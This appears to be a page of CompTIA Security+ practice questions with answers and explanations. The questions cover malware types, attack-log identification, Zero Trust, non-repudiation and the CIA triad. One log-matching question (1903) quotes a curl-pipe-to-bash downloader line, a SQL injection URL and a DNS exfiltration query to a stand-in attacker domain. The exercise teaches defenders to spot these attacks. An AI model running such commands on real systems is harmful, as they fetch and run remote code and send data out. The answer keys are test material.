Tüm alıştırma soruları

2232 soru

Soru 1901Soru

An incident responder notices that a malicious program rapidly infected dozens of systems across an internal network by exploiting a known remote code execution vulnerability, operating completely independently without any user action. Which of the following malware types best describes this threat?

Cevabı ve açıklamayı göster

Cevap: Worm

Cevap

Worm
A worm is a standalone malicious program that replicates itself automatically across computer networks by exploiting vulnerabilities without requiring human interaction.

Adım Adım Çözüm

1
Analyze the infection vector described in the incident scenario.
The malicious code spreads automatically across systems without requiring user interaction.
Identifying whether propagation is automated or requires user execution distinguishes self-replicating malware from disguised payloads.
2
Match the observed behavior with standard malware classifications.
Self-contained, self-propagating malware that leverages network vulnerabilities without user involvement is classified as a worm.
Worms are specifically defined by their ability to spread independently across network connections.

Anahtar Kavram

Malware Propagation Mechanisms (Worm vs. Trojan)
Soru 1902Soru

An incident response team is investigating multiple concurrent network and wireless security anomalies detected across enterprise infrastructure. Match each technical log entry or packet capture indicator to its correct attack classification.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Wireless packet capture shows a burst of 802.11 management frames containing spoofed BSSID header information sending 0x0007 reason codes to client MAC addresses, immediately followed by clients authenticating to an unauthorized Access Point broadcasting identical SSID credentials on an adjacent channel.
Core switch ARP tables reveal rapid mapping updates associating the default gateway IP address with an unknown host MAC address `00:E0:4C:12:34:56`, accompanied by unrequested ICMP Type 5 redirect frames targeting the subnet host interfaces.
Internal DNS resolver logs register continuous high-frequency recursive queries requesting resolution for randomized 64-character hexadecimal subdomains appended to `malicious-domain.external`, exhibiting consistent packet sizes and strict 15-second beacon interval timing.
Wireless Intrusion Detection System (WIDS) alerts report a massive influx of WPA2/WPA3 4-way handshake message 1 frames loaded with invalid Message Integrity Check (MIC) counters and randomized nonces, triggering widespread AP memory pool exhaustion and client disconnection.

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

The correct pairings match 802.11 disassociation/rogue BSSID capture to Evil Twin Attack, gratuitous ARP/ICMP redirect log signatures to ARP Poisoning / On-Path Attack, high-entropy subdomain lookup traffic to DNS Tunneling / Data Exfiltration, and invalid MIC handshake floods to Wireless Disassociation / Key Reinstallation DoS.
Each indicator presents unambiguous packet headers and protocol behaviors specific to its corresponding threat vector: 802.11 disassociation and rogue BSSID credentials characterize Evil Twin attacks; unsolicited ARP resolution re-binding default gateways characterizes ARP Poisoning; high-entropy DNS subdomains indicate DNS Tunneling; and malformed EAPOL/handshake MIC floods characterize Wireless DoS attacks.

Adım Adım Çözüm

1
Analyze the wireless capture indicator containing 802.11 management disassociation frames and unauthorized BSSID re-authentication.
Identify that disconnecting clients from a legitimate BSSID to trick them into connecting to a rogue AP broadcasting the same SSID indicates an Evil Twin attack.
Evil Twin attacks use forced disassociation frames to drive client devices to associate with an attacker-controlled AP.
2
Examine switch ARP table updates mapping the gateway IP to an unknown MAC along with ICMP Type 5 redirects.
Confirm ARP Poisoning / On-Path attack.
Manipulating Layer 2 IP-to-MAC bindings diverts subnet traffic through the attacker's network interface.
3
Evaluate internal DNS resolver logs showing high-frequency requests with high-entropy subdomains.
Classify the activity as DNS Tunneling / Exfiltration.
Encoding binary data into long, randomized subdomains sent to an authoritative external DNS server bypasses standard perimeter security filters.
4
Inspect WIDS alerts showing 4-way handshake frame flooding with corrupt MIC tags.
Match this indicator to Wireless Disassociation / Key Reinstallation DoS.
Malformed handshake frame injection causes target APs and clients to fail cryptographic negotiation, resulting in service disruption.

Anahtar Kavram

Identification of Network and Wireless Attack Signatures
Tahmini Süre:3m 0s
Soru 1903Soru

Match each security telemetry log snippet with its corresponding threat classification or event type.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Apache Access Log:
10.0.4.15 - - [27/Jul/2026:10:15:02] "GET /catalog.php?id=10%20UNION%20SELECT%20null,table_name%20FROM%20information_schema.tables-- HTTP/1.1" 200 3420
Windows Security Event Log:
Event ID 4625 | Target Account: Administrator | Failure Reason: Unknown user name or bad password | Rate: 450 failed attempts within 30 seconds
Linux Auditd Log:
type=EXECVE msg=audit(1785149300.124:402): execve("/bin/bash", ["bash", "-c", "curl -s http://192.168.5.10/stage2.sh | bash"], ...)
DNS Query Telemetry:
Query Type: TXT | Domain Request: "dGVzdF9zZWNyZXRfZGF0YQ.exfil.attacker-control.net" | Response Code: 200 OK

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

1. Apache access log showing UNION SELECT syntax matches SQL Injection database schema discovery.
2. Windows Event ID 4625 showing rapid failures matches automated brute-force authentication.
3. Linux auditd log showing curl piped to bash matches command injection payload execution.
4. DNS query showing encoded subdomains in TXT records matches DNS tunneling.
Each log archetype provides unique markers: SQL keywords in HTTP logs indicate SQL Injection, high-frequency Event ID 4625 logs indicate brute-force authentications, auditd shell invocation logs indicate command execution, and encoded DNS TXT subdomains indicate DNS tunneling.

Adım Adım Çözüm

1
Examine the HTTP request string in the web server access log.
Identified URL-encoded SQL database discovery statements ('UNION SELECT').
SQL injection attacks inject structured query statements into HTTP parameters to extract backend data.
2
Analyze the Windows Event ID and failure frequency.
Event ID 4625 combined with 450 rapid failures confirms automated password brute-forcing.
Event ID 4625 specifically tracks logon failures on Windows operating systems.
3
Inspect the system execution parameters in the Linux kernel audit log.
Identified bash executing curl commands piped directly to a shell.
Auditd EXECVE events capture process execution arguments, highlighting malicious downloader invocation.
4
Evaluate the DNS query parameters and request structure.
Encoded string subdomains in TXT queries confirm covert channel data exfiltration.
DNS tunneling encapsulates non-DNS protocol traffic inside standard DNS lookup requests.

Anahtar Kavram

Telemetry Identification and Security Event Correlation
Soru 1904Soru

A healthcare enterprise is deploying a Zero Trust Architecture (ZTA) across its clinical telemetry systems. During an active diagnostic data transmission session, an endpoint compliance agent reports that a workstation's local security baseline has been modified unexpectedly, though the clinician's multi-factor authentication (MFA) token remains valid and unexpired. Which of the following operations executed by the Zero Trust control plane best demonstrates the principle of continuous verification?

Cevabı ve açıklamayı göster

Cevap: The Policy Decision Point (PDP) recalculates the session's dynamic trust score based on telemetry metrics and instructs the Policy Enforcement Point (PEP) to terminate the connection despite valid user credentials.

Cevap

The Policy Decision Point (PDP) recalculates the session's dynamic trust score based on telemetry metrics and instructs the Policy Enforcement Point (PEP) to terminate the connection despite valid user credentials.
Under Zero Trust Architecture (ZTA) principles, explicitly verifying every request requires continuous authentication and contextual evaluation. When device telemetry indicates baseline configuration tampering, the Policy Decision Point (PDP) dynamically re-evaluates the contextual risk score and signals the Policy Enforcement Point (PEP) to sever the data plane session. Valid user credentials do not override compromised endpoint security posture.

Adım Adım Çözüm

1
Analyze the change in security posture during an active session
The workstation's endpoint integrity baseline degraded mid-session due to unauthorized local modification.
Zero Trust requires continuous monitoring of device hygiene alongside identity state.
2
Evaluate the architectural responsibilities of the control plane (PDP and PEP)
The Policy Decision Point (PDP) processes incoming risk signals and computes a dynamic trust score, while the Policy Enforcement Point (PEP) executes the policy enforcement by dropping or allowing data plane traffic.
Separation of control plane logic from data plane enforcement allows real-time adaptive access controls.
3
Determine the proper Zero Trust operational response
The PDP must immediately invalidate session access rights based on reduced trust score and order the PEP to drop the connection.
Implicit trust is never granted based solely on unexpired identity tokens or initial authentication.

Anahtar Kavram

Continuous verification and dynamic policy decision making (PDP/PEP) in Zero Trust Architecture
Soru 1905Soru

A security engineer is configuring an automated Security Orchestration, Automation, and Response (SOAR) playbook designed to ingest high-confidence malicious IP addresses from a Threat Intelligence Platform (TIP) and instantly push block rules to perimeter firewalls. During a recent threat feed update, a shared public DNS resolver IP was misclassified as malicious, causing the playbook to automatically block critical outgoing traffic. Which modification to the playbook workflow logic should be implemented to prevent future unintended outages?

Cevabı ve açıklamayı göster

Cevap: Incorporate an automated exclusion list verification step prior to invoking the firewall API block action.

Cevap

Incorporate an automated exclusion list verification step prior to invoking the firewall API block action.
The correct response is to incorporate an automated exclusion list verification step prior to executing the blocking action. In SOAR playbook design, guardrails such as allow-lists or sanity-check filters prevent automated integrations from disrupting critical infrastructure or common enterprise services.

Adım Adım Çözüm

1
Analyze the cause of the operational incident.
Identified that an automated SOAR playbook acted blindly on third-party threat feed data containing a legitimate infrastructure IP.
Automation without validation guardrails can cause accidental denial-of-service to legitimate resources.
2
Evaluate playbook decision logic modifications.
Adding a conditional step to cross-reference IPs against an enterprise allow/exclusion list before invoking API block calls prevents critical IPs from being blocked.
Exclusion checks act as guardrails for automated response workflows.

Anahtar Kavram

SOAR Playbook Guardrails and Conditional Logic
Soru 1906Soru

A high-precision semiconductor fabrication facility experiences intermittent disruptions across its automated silicon wafer etching equipment. Investigation reveals that custom-compiled bootkit firmware was stealthily flashed onto isolated industrial controllers. The attackers gained initial access six months prior by compromising an offshore vendor's network management software used for remote equipment maintenance, demonstrating long-term persistence, custom exploit development, and zero-day evasions without requesting ransom or leaving overt defacement signatures. Which TWO of the following threat actor attributes or attack vectors are demonstrated in this scenario? (Select TWO)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Nation-state or Advanced Persistent Threat (APT) actor attributes characterized by high sophistication, deep resources, and strategic espionage or sabotage intent; Supply chain and trusted third-party vendor attack vector leveraging external partner access channels

Cevap

The threat actor demonstrates nation-state / APT attributes (high sophistication, extended dwell time, custom bootkit development, non-monetary strategic goals) and utilized a supply chain / trusted third-party vendor attack vector (compromising an external maintenance vendor's remote software).
The scenario depicts a sophisticated intrusion characterized by custom bootkit firmware, zero-day capabilities, and stealthy persistence, which defines a nation-state or Advanced Persistent Threat (APT) actor. Furthermore, the entry point involved an external maintenance provider's software, which defines a supply chain / third-party vendor attack vector.

Adım Adım Çözüm

1
Analyze the threat actor attributes shown in the incident narrative.
The presence of zero-day exploits, custom bootkit firmware development, multi-month persistence, and stealthy operational goals directly aligns with nation-state or Advanced Persistent Threat (APT) profile characteristics.
Script kiddies, hacktivists, and typical cybercriminals lack the resource depth, advanced technical skill, and long-term strategic focus required to execute quiet firmware-level industrial sabotage.
2
Analyze the initial attack vector identified during the forensic investigation.
The intrusion entered via compromised remote management software hosted by an offshore third-party equipment vendor.
Leveraging third-party connections and software channels represents a supply chain attack vector, bypassing traditional boundary defenses through trusted external relationships.

Anahtar Kavram

Threat Actor Attributes and Attack Vectors
Soru 1907Soru

An enterprise security architect is auditing a remote access workflow designed for external software developers. Under the proposed model, after a developer successfully completes multi-factor authentication (MFA) at the edge gateway, their endpoint is assigned an IP address on the internal development network segment. From that point forward, the session maintains open access to all internal repository servers and staging databases without requiring further authentication or posture checks until disconnect. Which of the following best evaluates this architecture against Zero Trust Architecture (ZTA) principles and identifies the necessary architectural remediation?

Cevabı ve açıklamayı göster

Cevap: The design violates Zero Trust by granting implicit perimeter trust following initial authentication; access must be continuously evaluated and authorization granted per resource request using microsegmentation.

Cevap

The proposed architecture violates Zero Trust principles by granting implicit network-level trust after initial authentication. It must be updated to enforce continuous validation and microsegmentation for every individual resource request.
Zero Trust Architecture operates on the fundamental principle that implicit trust must be eliminated ('never trust, always verify'). Granting broad access to internal network segments based on a single initial perimeter authentication violates this principle. The correct architecture requires continuous validation of identity, device health, and environmental context, paired with microsegmentation so that access is restricted explicitly to individual requested resources.

Adım Adım Çözüm

1
Analyze the proposed access flow against NIST SP 800-207 Zero Trust Architecture core tenets.
Identified that once the initial MFA check succeeds, the user endpoint is granted persistent network-wide access to internal repository and database servers.
Zero Trust mandates that no implicit trust is granted based solely on physical or logical network location or initial perimeter authentication.
2
Evaluate the architectural flaw.
The reliance on a legacy perimeter model (VLAN assignment post-MFA) allows lateral movement if the endpoint or credentials become compromised during the active session.
Access policies in Zero Trust must be granular, dynamic, and evaluated per request rather than maintaining a persistent state across an broad network segment.
3
Select the appropriate Zero Trust remediation strategy.
Implement continuous verification (evaluating identity, device health, and context dynamically) and microsegmentation (restricting visibility and path to specific requested resources only).
This enforces explicit validation and limits the blast radius of any potential compromise.

Anahtar Kavram

Zero Trust Architecture - Implicit Trust Elimination and Continuous Verification
Soru 1908Soru

An organization implements digital signatures for all high-value financial transactions to ensure that executives cannot deny approving a transaction after it has been submitted. Which security goal is primarily being addressed by this implementation?

Cevabı ve açıklamayı göster

Cevap: Non-repudiation

Cevap

Non-repudiation is the primary security goal addressed by using digital signatures to prevent users from denying their actions.
Non-repudiation ensures that an individual cannot deny the authenticity of their signature or action on a document or transaction. Digital signatures achieve this by utilizing asymmetric key cryptography, where the signer's unique private key creates a signature that anyone can verify using the corresponding public key.

Adım Adım Çözüm

1
Analyze the scenario requirements
The core requirement is preventing an executive from denying that they approved a transaction.
Identifying the goal of preventing denial of an origin or action leads to the appropriate security concept.
2
Map the technical control to security objectives
Digital signatures bind sender identity verification with data integrity verification.
Combining sender identity proof via a private key with integrity verification guarantees proof of origin.
3
Select the matching security objective
Non-repudiation directly defines the property where a party to a transaction cannot deny authenticity.
Non-repudiation specifically satisfies the requirement of undeniable proof of origin and action.

Anahtar Kavram

Non-Repudiation
Tahmini Süre:45s
Soru 1909Soru

A healthcare organization requires that when physicians approve electronic prescription orders, the system must generate proof of origin so that a physician cannot later deny authorizing the order. To accomplish this, the system applies a digital signature using the physician's private key combined with a cryptographic hash of the order details. Which security concept is directly fulfilled by implementing digital signatures to prevent denial of origin?

Cevabı ve açıklamayı göster

Cevap: Non-repudiation

Cevap

Non-repudiation is the primary security goal achieved, as digital signatures bind an identity to a specific transaction using asymmetric cryptography so the sender cannot deny authorizing it.
The correct concept is non-repudiation. Digital signatures combine asymmetric cryptography (signing with the sender's private key) and cryptographic hashing to provide both authenticity of origin and data integrity. Because only the physician possesses their private key, they cannot claim a signed order was generated by someone else.

Adım Adım Çözüm

1
Analyze the scenario requirement
The scenario requires preventing an individual (the physician) from denying that they approved a specific electronic prescription order.
Identifying the core business and security goal isolates which security pillar or principle is being tested.
2
Evaluate the technical control described
The control uses asymmetric key pairs (private key signing) combined with a cryptographic hash of the payload.
A cryptographic hash guarantees integrity (tamper-resistance), while signing with a private key uniquely ties the data to the key holder's identity.
3
Map the technical control to the core security concept
Combining integrity verification with cryptographic proof of identity yields non-repudiation.
Non-repudiation ensures that a party to a contract or communication cannot successfully challenge the authenticity of their signature or transaction.

Anahtar Kavram

Non-repudiation and CIA Triad
Soru 1910Soru

An enterprise security team is transitioning network operations to align with Zero Trust Architecture (ZTA) principles. Which of the following statements accurately describes a fundamental principle of access control within Zero Trust?

Cevabı ve açıklamayı göster

Cevap: Every access request must be explicitly validated and continuously authorized based on contextual attributes, regardless of whether the connection originates inside or outside the corporate network.

Cevap

Every access request must be explicitly validated and continuously authorized based on contextual attributes, regardless of whether the connection originates inside or outside the corporate network.
The correct principle mandates that no user, device, or network segment is trusted by default. Every access request must be explicitly validated and continuously authorized using real-time contextual context regardless of location.

Adım Adım Çözüm

1
Identify the core tenet of Zero Trust Architecture
Zero Trust assumes that threats exist both outside and inside the traditional network boundary.
Legacy perimeter security relies on implicit trust within the internal network, whereas Zero Trust operates on the baseline assumption of zero implicit trust.
2
Evaluate access control enforcement mechanisms in Zero Trust
Access decisions must be explicitly verified, applying least privilege access dynamically based on context (user, device, location, asset value).
Continuous authentication and explicit verification ensure that moving inside the network perimeter does not grant unverified access.

Anahtar Kavram

Zero Trust Architecture Principles - Never Trust, Always Verify
Tahmini Süre:45s
Soru 1911Soru

Match each core security goal or concept on the left with its primary operational objective on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Confidentiality
Integrity
Availability
Non-Repudiation

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Confidentiality matches preventing unauthorized disclosure; Integrity matches safeguarding data against unauthorized alteration; Availability matches ensuring data accessibility when needed; Non-Repudiation matches providing unalterable proof of an action.
Each security term directly corresponds to its foundational definition: Confidentiality protects against unauthorized exposure, Integrity prevents unauthorized alteration, Availability ensures operational access, and Non-Repudiation provides indisputable proof of origin or action.

Adım Adım Çözüm

1
Define the primary purpose of Confidentiality.
Confidentiality restricts data access to authorized entities.
Protects sensitive data from unauthorized disclosure.
2
Define the primary purpose of Integrity.
Integrity maintains data accuracy and trustworthiness.
Prevents unauthorized modification, deletion, or tampering.
3
Define the primary purpose of Availability.
Availability ensures uptime and accessibility.
Guarantees services and data are ready for authorized use.
4
Define the primary purpose of Non-Repudiation.
Non-Repudiation binds an action to a specific identity cryptographic proof.
Prevents a party from falsely claiming they did not perform a given action.

Anahtar Kavram

Core definitions of the CIA Triad pillars and Non-Repudiation
Soru 1912Soru

A financial software firm secures its system log repository by encrypting log files with AES-256 and generating an HMAC-SHA256 checksum for each entry using a shared secret key accessible by all system administrators. During an investigation into an unauthorized privilege escalation, a senior administrator is suspected of editing log lines to erase evidence. The administrator claims that another employee with administrative credentials must have altered the logs using the shared key. Which security property is currently lacking in the firm's audit system that prevents proving which specific administrator committed the modification?

Cevabı ve açıklamayı göster

Cevap: Non-repudiation, because shared secret keys cannot uniquely attribute actions to a specific individual user.

Cevap

The audit system lacks non-repudiation because shared secret keys permit any key holder to create valid HMAC tags, preventing positive cryptographic attribution to a specific individual.
Non-repudiation ensures that a specific subject cannot deny having performed an action or created a message. Because HMAC relies on a symmetric key shared among multiple administrators, any key holder can forge a valid HMAC tag. To achieve non-repudiation, the organization must use asymmetric cryptography (digital signatures) using unique private keys held by each individual administrator.

Adım Adım Çözüm

1
Analyze the cryptographic mechanisms used in the logging system.
AES-256 provides confidentiality, and HMAC-SHA256 provides data integrity and group origin verification.
HMAC relies on symmetric shared secrets across all authorized administrators.
2
Evaluate why the administrator can plausibly deny performing the action.
Since all system administrators possess the shared key, any administrator could generate a valid HMAC tag for a modified log entry.
Symmetric keys cannot differentiate between distinct holders of the same secret.
3
Identify the missing security goal required for individual accountability.
Non-repudiation is missing; implementing asymmetric digital signatures with private keys assigned strictly to individual administrators would solve this.
Digital signatures provide non-repudiation by binding an action uniquely to one private key holder.

Anahtar Kavram

CIA Triad and Non-Repudiation (Symmetric HMAC vs Asymmetric Digital Signatures)
Soru 1913Soru

An enterprise API gateway receives automated configuration updates from external vendors. To satisfy auditing requirements, security policies dictate that the system must establish indisputable proof of origin for every payload, ensuring vendors cannot deny sending a specific update. The system architects propose utilizing SHA-256 hashing paired with pre-shared symmetric keys (HMAC) between the gateway and each vendor. Which security goal remains unfulfilled by this proposed architecture, and why?

Cevabı ve açıklamayı göster

Cevap: Non-repudiation, because symmetric shared keys allow either the sender or receiver to generate a valid message authentication code, preventing third-party proof of origin.

Cevap

Non-repudiation remains unfulfilled because symmetric pre-shared keys allow either party possessing the key to create a valid HMAC, preventing proof of payload origin to a third-party auditor.
Non-repudiation requires unforgeable proof of origin that can be verified by a third party. Because symmetric HMAC relies on a secret key known to both the sender and the receiver, either party can compute the valid hash. Therefore, the vendor can plausibly claim the receiver generated the hash, failing non-repudiation. Asymmetric digital signatures (private key signing) are required to achieve non-repudiation.

Adım Adım Çözüm

1
Analyze the security requirement stated in the scenario.
The scenario requires indisputable proof of origin so vendors cannot deny sending a specific payload (non-repudiation).
Non-repudiation provides legal or technical proof that a specific sender created and transmitted a message.
2
Evaluate the proposed cryptographic mechanism (SHA-256 HMAC with pre-shared symmetric keys).
Symmetric HMAC keys are known to both the vendor (sender) and the enterprise API gateway (receiver).
Because both parties hold the identical secret key, either side could theoretically generate the matching HMAC digest.
3
Determine which security pillar is missing.
While HMACs satisfy integrity and data origin authentication between two mutually trusting endpoints, they fail to provide non-repudiation to an external auditor.
True non-repudiation requires asymmetric cryptography (digital signatures using private keys) where only the sender possesses the signing key.

Anahtar Kavram

Non-repudiation vs. Integrity in Cryptographic Mechanisms
Tahmini Süre:1m 30s
Soru 1914Soru

Match each enterprise security technical implementation to the specific security pillar or concept it primarily satisfies.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Confidentiality
Integrity
Availability
Non-Repudiation

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Confidentiality matches encrypting sensitive customer records; Integrity matches generating SHA-256 checksums for binaries; Availability matches deploying redundant power and load-balanced clusters; Non-Repudiation matches signing executive transfer requests with asymmetric private keys.
Each control satisfies a specific pillar: encryption prevents disclosure (Confidentiality); hashing detects unauthorized changes (Integrity); hardware redundancy maintains system access (Availability); private key signing binds identity to transactions (Non-Repudiation).

Adım Adım Çözüm

1
Determine the security goal of encryption at rest.
Encryption restricts reading data to keyholders, satisfying Confidentiality.
Confidentiality focuses on preventing unauthorized disclosure of information.
2
Analyze the function of cryptographic checksums (SHA-256).
Hashing detects any modification in transit or storage, satisfying Integrity.
Integrity guards against unauthorized data modification or corruption.
3
Evaluate the purpose of dual power feeds and server clustering.
Redundancy mitigates single points of failure to maintain uptime, satisfying Availability.
Availability ensures hardware and software systems remain operational and accessible.
4
Identify the protection provided by asymmetric private key signatures.
Digital signatures bind identity to data so authorship cannot be refuted, satisfying Non-Repudiation.
Non-repudiation prevents an entity from denying their prior actions or messages.

Anahtar Kavram

CIA Triad and Non-Repudiation core principles and technical controls
Soru 1915Soru

An enterprise logistics company requires software engineers to digitally sign all infrastructure configuration files using their individual asymmetric private keys before pushing them to the automated build pipeline. If an unapproved configuration change causes a service outage, management must be able to indisputably prove which specific engineer authored and submitted the change. Which security principle is primarily fulfilled by this implementation?

Cevabı ve açıklamayı göster

Cevap: Non-repudiation

Cevap

Non-repudiation
Non-repudiation ensures that a sender or author cannot deny the authenticity of their signature on a document or file. By requiring engineers to sign configuration files with their asymmetric private keys, the system creates proof of origin linked uniquely to that individual.

Adım Adım Çözüm

1
Analyze the core requirement presented in the scenario.
Management needs to indisputably identify which engineer authored a specific file change so that the author cannot deny responsibility.
Identifying the specific requirement helps distinguish between general data protection goals and specific cryptographic properties.
2
Evaluate the mechanism used (asymmetric key digital signatures).
Signing data with a private key uniquely binds that specific identity to the generated signature.
Because only the holder possesses the private key, valid signatures provide indisputable proof of origin.
3
Map the mechanism and requirement to the standard security goal.
Providing proof of origin to prevent denial of an action is the exact definition of non-repudiation.
Non-repudiation combines authenticity and integrity via asymmetric cryptography to ensure accountability.

Anahtar Kavram

Non-Repudiation
Soru 1916Soru

A software distribution platform requires package maintainers to cryptographically sign all published updates. This ensures that a maintainer cannot later deny having created and released a specific update package. Which of the following security concepts is best demonstrated by this requirement?

Cevabı ve açıklamayı göster

Cevap: Non-repudiation

Cevap

Non-repudiation
Non-repudiation provides proof of the origin and authenticity of data, ensuring that an individual or entity cannot deny having performed a specific action, such as creating or signing a software update package.

Adım Adım Çözüm

1
Analyze the scenario requirement.
The requirement mandates signing software updates so maintainers cannot deny creating and releasing them.
Identifying the core goal (preventing denial of an action) isolates the security principle being applied.
2
Map the requirement to fundamental security principles.
Providing cryptographic proof of origin to prevent denial of authorship defines non-repudiation.
Digital signatures associate an identity with specific data to enforce accountability and non-repudiation.

Anahtar Kavram

CIA Triad and Non-Repudiation
Soru 1917Soru

An industrial smart grid operator manages several automated telemetry, control, and audit subsystems. Match each operational security scenario on the left with the primary CIA triad pillar or related security objective that is either violated or enforced on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

An adversary intercepting unencrypted microwave radio links between electrical substations to read operational load and power usage metrics.
An attacker deploying a distributed flood against grid control gateways, delaying emergency shutdown signals during a transformer failure.
A malicious actor modifying calibration data within a remote terminal unit (RTU) database, leading to inaccurate telemetry without disrupting connectivity.
A chief engineer authorizing a critical relay logic patch using their private key and smart card, enabling auditors to indisputably attribute the change.

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

1. Intercepting unencrypted microwave links → Confidentiality
2. Flooding control gateways during emergency → Availability
3. Modifying RTU database calibration data → Integrity
4. Signing relay logic patches with a private key → Non-Repudiation
Each scenario maps to its core security objective based on the nature of the threat or control. Unauthorized data viewing targets Confidentiality; blocking system access targets Availability; unauthorized data modification targets Integrity; and cryptographically proving the origin of an update enforces Non-Repudiation.

Adım Adım Çözüm

1
Analyze the microwave eavesdropping scenario.
Unauthorized exposure of power usage metrics to outside eavesdroppers compromises data secrecy.
Protecting data from unauthorized disclosure is the definition of Confidentiality.
2
Analyze the network flood attack scenario.
Emergency shutdown communications are blocked or delayed due to system resource exhaustion.
Ensuring timely and reliable access to systems and data is the definition of Availability.
3
Analyze the calibration database alteration scenario.
Data is tampered with and corrupted while remaining operational.
Maintaining the accuracy, completeness, and uncorrupted state of data is the definition of Integrity.
4
Analyze the digitally signed engineering patch scenario.
The engineer's unique private key creates cryptographic proof of origin that cannot be refuted.
Providing proof of origin and authenticity that prevents an entity from denying an action constitutes Non-Repudiation.

Anahtar Kavram

Core Pillars of Information Security (CIA Triad) and Non-Repudiation
Soru 1918Soru

An enterprise organization is transitioning from a legacy remote-access VPN infrastructure to a Zero Trust Architecture (ZTA). During the redesign, a security architect must define how access requests to sensitive corporate applications are evaluated by the Policy Engine and Policy Enforcement Point. Which of the following operational practices best aligns with the core Zero Trust principle of explicit validation and continuous verification?

Cevabı ve açıklamayı göster

Cevap: Evaluating user identity, device health, and environmental context dynamically for every individual resource access request regardless of network position

Cevap

Evaluating user identity, device health, and environmental context dynamically for every individual resource access request regardless of network position
The correct response highlights the core pillar of Zero Trust Architecture: inspecting and validating every request individually using identity, device security posture, and runtime context. It eliminates implicit perimeter trust entirely.

Adım Adım Çözüm

1
Identify core Zero Trust Architecture (ZTA) principles
ZTA relies on 'never trust, always verify', enforcing continuous verification, explicit validation, and least privilege.
Legacy perimeter security assumes internal traffic is trusted, whereas Zero Trust treats all networks and requests as untrusted.
2
Analyze how the Policy Engine (PE) and Policy Enforcement Point (PEP) operate
The Policy Engine evaluates context (user status, device integrity, location) and decides whether to grant access, while the PEP enforces this decision per request.
Continuous verification requires evaluating every request dynamically rather than relying on one-time authentication.
3
Select the option that correctly embodies dynamic, request-level verification
Evaluating user identity, device posture, and context dynamically per request regardless of location represents true Zero Trust implementation.
This meets the requirement of explicit validation across both control plane decisions and data plane enforcement.

Anahtar Kavram

Zero Trust Architecture Principles (Continuous Verification and Explicit Validation)
Soru 1919Soru

A financial enterprise operates a microservices environment governed by Zero Trust Architecture (ZTA) principles. A remote system administrator successfully completes multi-factor authentication (MFA) from a corporate-managed endpoint. Ten minutes into the session, the endpoint's telemetry indicates that its local endpoint detection and response (EDR) agent has been disabled, and the connection origin dynamically shifts to an unknown unmanaged network. Which of the following actions best demonstrates the principle of continuous verification in this scenario?

Cevabı ve açıklamayı göster

Cevap: The Policy Engine dynamically re-evaluates session risk signals and instructs the Policy Administrator to terminate session access or request step-up posture validation despite prior authentication.

Cevap

The correct answer states that the Policy Engine dynamically re-evaluates session risk signals and instructs the Policy Administrator to terminate session access or request step-up posture validation despite prior authentication.
Zero Trust Architecture mandates continuous verification and explicit validation. Initial multi-factor authentication does not grant persistent trust. When contextual factors change during an active session (such as EDR agent disabling or IP address changes), the Policy Engine must immediately re-assess threat signals and direct the Policy Administrator to modify, step-up, or terminate access privileges.

Adım Adım Çözüm

1
Analyze the state change presented in the enterprise scenario under NIST SP 800-207 Zero Trust guidelines.
Identified that although initial authentication succeeded, post-login environmental context (EDR disabled, network location changed) degraded device trustworthiness.
Zero Trust mandates that access decisions are dynamic and continuous throughout the entirety of every transaction.
2
Determine the functional roles of Zero Trust logical components (Policy Engine, Policy Administrator, Policy Enforcement Point).
The Policy Engine evaluates threat context and security posture to render access decisions, instructing the Policy Administrator to update enforcement rules at the Policy Enforcement Point.
Continuous verification requires real-time telemetry processing and dynamic policy enforcement across active network connections.

Anahtar Kavram

Zero Trust Architecture Principles - Continuous Verification and Dynamic Authorization
Soru 1920Soru

A financial enterprise is upgrading its automated clearing house payment processing system. To prevent fraud, the system requires that submitted wire transfers include a cryptographic control. The lead security architect proposes requiring sender applications to sign transfer payloads using an asymmetric private key rather than generating a Hash-based Message Authentication Code (HMAC) with a pre-shared symmetric key. Which security objective is uniquely satisfied by transitioning to the asymmetric digital signature approach?

Cevabı ve açıklamayı göster

Cevap: Non-repudiation, because any relying third party can independently verify the sender's identity using their public key, preventing the sender from denying transmission.

Cevap

Non-repudiation, because any relying third party can independently verify the sender's identity using their public key, preventing the sender from denying transmission.
Asymmetric digital signatures provide non-repudiation because the signing operation uses a unique private key known only to the sender. Anyone with access to the sender's public key can verify the signature's authenticity. Because HMACs use a shared symmetric key, both sender and receiver possess the ability to calculate the message authentication code, preventing either party from mathematically proving to an outside auditor who originated the payload.

Adım Adım Çözüm

1
Analyze the cryptographic properties of HMAC vs asymmetric digital signatures.
HMAC relies on a symmetric pre-shared key shared between endpoints. Asymmetric signatures use a private key for signing and a public key for verification.
Understanding key distribution distinguishes bilateral trust from third-party verifiable trust.
2
Evaluate which CIA triad pillar or related property is missing in shared-key HMAC operations.
Because both sender and receiver hold the identical shared secret key in HMAC operations, either party could technically generate a valid HMAC tag. Thus, neither party can prove to an independent third party which entity produced the message.
Non-repudiation requires proof of origin that cannot be forged by the recipient or other key holders.
3
Identify the security objective uniquely met by asymmetric digital signing.
Since only the sender possesses the private signing key, and any auditor or receiver can verify it using the public key, the sender cannot repudiate (deny) sending the payload.
This establishes non-repudiation.

Anahtar Kavram

Non-Repudiation vs. Integrity in Cryptographic Controls
ÖncekiSayfa 96 / 112Sonraki
Tüm alıştırma soruları — CompTIA Security+ | Examkin